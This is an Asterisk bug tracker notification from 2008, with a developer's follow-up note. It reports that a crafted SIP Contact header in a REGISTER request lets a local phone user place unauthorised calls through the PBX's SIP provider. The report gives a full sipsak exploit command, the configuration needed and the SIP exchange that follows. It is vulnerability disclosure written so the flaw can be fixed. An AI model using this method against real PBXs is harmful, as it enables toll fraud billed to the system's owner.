[asterisk-bugs] [Asterisk 0011776]: [authenticaion] in sip.conf: A malicius "Contact" header in REGISTER can get free calls through SIP provider

[Asterisk Bug Tracker]

A NOTE has been added to this issue. 
====================================================================== 
http://bugs.digium.com/view.php?id=11776 
====================================================================== 
Reported By:                ibc
Assigned To:                blitzrage
====================================================================== 
Project:                    Asterisk
Issue ID:                   11776
Category:                   Channels/chan_sip/Registration
Reproducibility:            always
Severity:                   minor
Priority:                   normal
Status:                     ready for testing
Asterisk Version:           1.4.17 
SVN Branch (only for SVN checkouts, not tarball releases): N/A 
SVN Revision (number only!):  
Disclaimer on File?:        N/A 
Request Review:              
====================================================================== 
Date Submitted:             2008-01-16 05:57 CST
Last Modified:              2008-08-19 07:42 CDT
====================================================================== 
Summary:                    [authenticaion] in sip.conf: A malicius "Contact"
header in REGISTER can get free calls through SIP provider
Description: 
Hi, a malicius "Contact" header can be very damaged as I explain in the
following example:


Suppose our Asterisk has configured a SIP provider "sip_provider" with
"realm=sip_provider.com" and a SIP local phone "2001" who is not allowed to
do calls through "sip_provider":


sip.conf:
------------------------------------------
[authentication]
auth = client_number:client_password at sip_provider.com

[sip_provider]
type = peer
host = sip_provider.com

[2001] ; local phone
type = friend
secret = 1234
context = from_phone
------------------------------------------


extensions.conf:
------------------------------------------
[from_phone]
; Just allow to do test calls
exten => 500,1,Echo
exten => 501,1,PlayBack(demo-congrats)
exten => _200X,1,Dial(SIP/${EXTEN}) ; call to himself and other local
phones
------------------------------------------


Note that for the "sip_provider", instead of using "secret" and "username"
in the peer definition we have defined an "auth" in [autheticacion]
section. AFAIK this is perfectly valid.

Note too that "phone" is just allowed to call 500, 501 and 200X (so
calling to 2001 he would call himself).



Now because the owner of 2001 phone is angry he decides to hack the
enterprise PBX by doing it:

  sipsak -U -C "sip:0034999000111 at sip_provider.com:5060" -a "1234" -s
sip:2001 at asterisk_ip

This will cause a malicious registration in Asterisk for the AoR
"sip:2001 at asterisk_ip".

Now this person calls to himself by calling to 2001 extension:

- Asterisk then by the execution of dialplan will do:
    Dial(SIP/2001)

- This will cause an INVITE to the sip_provider and replies like:

* asterisk_ip -> sip_provider.com
INVITE sip:0034999000111 at sip_provider.com:5060 SIP/2.0
From: "asterisk" <sip:asterisk at asterisk_ip>
To: <sip:0034999000111 at sip_provider.com:5060>


* sip_provider.com -> asterisk_ip
SIP/2.0 407 Proxy Authentication Required
Proxy-Authenticate: Digest algorithm=MD5, realm="sip_provider.com",
nonce="1748d3"


* asterisk_ip -> sip_provider.com
INVITE sip:0034999000111 at sip_provider.com:5060 SIP/2.0
From: "asterisk" <sip:asterisk at asterisk_ip>
To: <sip:0034999000111 at sip_provider.com:5060>
Proxy-Authorization: Digest username="client_number",
realm="sip_provider.com", algorithm=MD5,
uri="sip:0034999000111 at sip_provider.com:5060", nonce="1748d3",
response="70d491d8998a961dc"


* sip_provider.com -> asterisk_ip
183 Session Progress

ooohhhhhh !!!


So the malicious user has made a PSTN call by free!
====================================================================== 

---------------------------------------------------------------------- 
 (0091545) blitzrage (administrator) - 2008-08-19 07:42
 http://bugs.digium.com/view.php?id=11776#c91545 
---------------------------------------------------------------------- 
Well that's the thing, I have only been able to get it to actually send the
registration one time. Every other time it just ended up not sending
anything. At the suggestion of Mark Michelson, I added the -E UDP to the
end, and that seemed to work the very first time, but after that, I
couldn't get sipsak to send anything.

I even did a tshark trace locally to see if it just wasn't getting to the
other end, but nothing seemed to be generated.

After I did generate the first time though, and placed the call, I was
able to place a call through the "service provider", so I can at least
confirm this bug exists. I'm still trying to get sipsak to consistantly
work so I can test the patch.

What version of sipsak are you using? I'm on CentOS 5.x with latest
updates in a VMware virtual machine with bridged networking. Never seemed
to have a problem with that setup before. Perhaps I'll give the SVN
checkout a try. Using 0.9.6 right now... 

Issue History 
Date Modified    Username       Field                    Change               
====================================================================== 
2008-08-19 07:42 blitzrage      Note Added: 0091545                          
======================================================================